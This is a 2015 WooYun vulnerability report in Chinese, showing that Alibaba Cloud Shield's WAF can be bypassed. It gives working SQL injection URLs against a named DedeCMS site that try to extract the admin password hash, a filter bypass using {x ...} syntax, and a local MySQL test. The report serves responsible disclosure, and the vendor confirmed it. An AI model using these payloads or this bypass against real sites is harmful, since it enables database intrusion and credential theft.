当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0116208

漏洞标题:阿里巴巴云盾防御策略可以bypass(实例证明)

相关厂商:阿里巴巴

漏洞作者: izy

提交时间:2015-05-26 10:45

修复时间:2015-07-10 17:22

公开时间:2015-07-10 17:22

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-26: 细节已通知厂商并且等待厂商处理中
2015-05-26: 厂商已经确认,细节仅向厂商公开
2015-06-05: 细节向核心白帽子及相关领域专家公开
2015-06-15: 细节向普通白帽子公开
2015-06-25: 细节向实习白帽子公开
2015-07-10: 细节向公众公开

简要描述:

实例证明,求不忽略!

详细说明:

别人给的一个测试网站:http://www.fywealth.cn/
首先访问这个exp,在aid=1555时添加评论,insert类型的注入:

http://www.fywealth.cn/plus/feedback.php?validate=SEYY&action=send&comtype=comments&fid=1&isconfirm=yes&msg=90sec&typeid=0','3','4','5','0','1351739660', '0','0','0','0','0','aaaaaa'),('1555','2',@`'`,'4','5','1','1351739660', '0','0','0','0','0',user())%23


我们可以看到当aid=1555能注入出用户,说明确实有注入!

屏幕快照 2015-05-25 下午10.36.48.png


现在我们看看能不能select出密码:
http://www.fywealth.cn/plus/feedback.php?validate=SEYY&action=send&comtype=comments&fid=1&isconfirm=yes&msg=90sec&typeid=0','3','4','5','0','1351739660', '0','0','0','0','0','aaaaaa'),('1532','2',@`'`,'4','5','1','1351739660', '0','0','0','0','0',(select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1))%23
发现被拦截

屏幕快照 2015-05-25 下午10.42.55.png


然后我们fuzz发现from和select的单词边界被拦截,所以构造(select(select{x pwd}from{x %23@__admin}+limit+1))
访问:http://www.fywealth.cn/plus/feedback.php?validate=SEYY&action=send&comtype=comments&fid=1&isconfirm=yes&msg=90sec&typeid=0','3','4','5','0','1351739660', '0','0','0','0','0','aaaaaa'),('1534','2',@`'`,'4','5','1','1351739660', '0','0','0','0','0',(select(select{x pwd}from{x %23@__admin}+limit+1)))%23
可以看到成功绕过了waf,发送到服务端(从报错语句就能看出来确实是绕过了waf发送到了服务器的),但是貌似mysql版本过低(5.0.x),所以出现了mysql报错,如果mysql不是低版本的话是可以select出来密码的。

屏幕快照 2015-05-25 下午10.58.52.png


找到此服务器的mysql版本为5.0.22,本地搭建5.0.22的mysql测试,此类型的会报错!

屏幕快照 2015-05-26 上午12.21.17.png


但是5.5的就可以,其他的就不测试了~

屏幕快照 2015-05-26 上午12.21.08.png


让我们看看这条语句是否真的发送到了服务器端,如果发送到了mysql报错会显示出来,如果没发送到服务端mysql报错将不显示我们的语句。
我们在关键语句前加update让它报错
http://www.fywealth.cn/plus/feedback.php?validate=SEYY&action=send&comtype=comments&fid=1&isconfirm=yes&msg=90sec&typeid=0','3','4','5','0','1351739660', '0','0','0','0','0','aaaaaa'),('1534','2',@`'`,'4','5','1','1351739660', '0','0','0','0','0','x' update (select(select{x pwd}from{x %23@__admin}+limit+1)))%23

屏幕快照 2015-05-25 下午11.02.24.png


现在可以确认了是完全绕过了waf吧!可以确认此语句是发送到了服务器的,接下来我们只要证明这种类型的语句可以执行达到注入攻击的目的就ok了!
可能还会有人认为这个密码还是没有select出来不能让大家信服,因为没有好的环境测试,所以我们本地测试此语句。
构造一个差不多的语句如下:

insert into users (user_id,first_name) values(18,(select(select{x name}from{x guestbook}limit 1)))#test


这是可以成功执行的

屏幕快照 2015-05-25 下午10.52.40.png


上面的只是证明了bypass了waf的一种sql注入,但是这种查询方式还能运用到到其他注入攻击
利用select{x pwd}from{x %23@admin}limit 1) 还可以进行报错注入等....
无奈此环境也没有报错注入函数去实验,但是已经绕过了waf的拦截,是肯定可以报错注入出来的

FUNCTION fywealth20120920.updatexml does not exist

漏洞证明:

屏幕快照 2015-05-25 下午10.39.21.png

修复方案:

你懂得

版权声明:转载请注明来源 izy@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-05-26 17:20

厂商回复:

亲,之前已有白帽子上报过同样问题,我们将在近期版本升级中解决这一问题。感谢您对阿里巴巴安全的关注!

最新状态:

暂无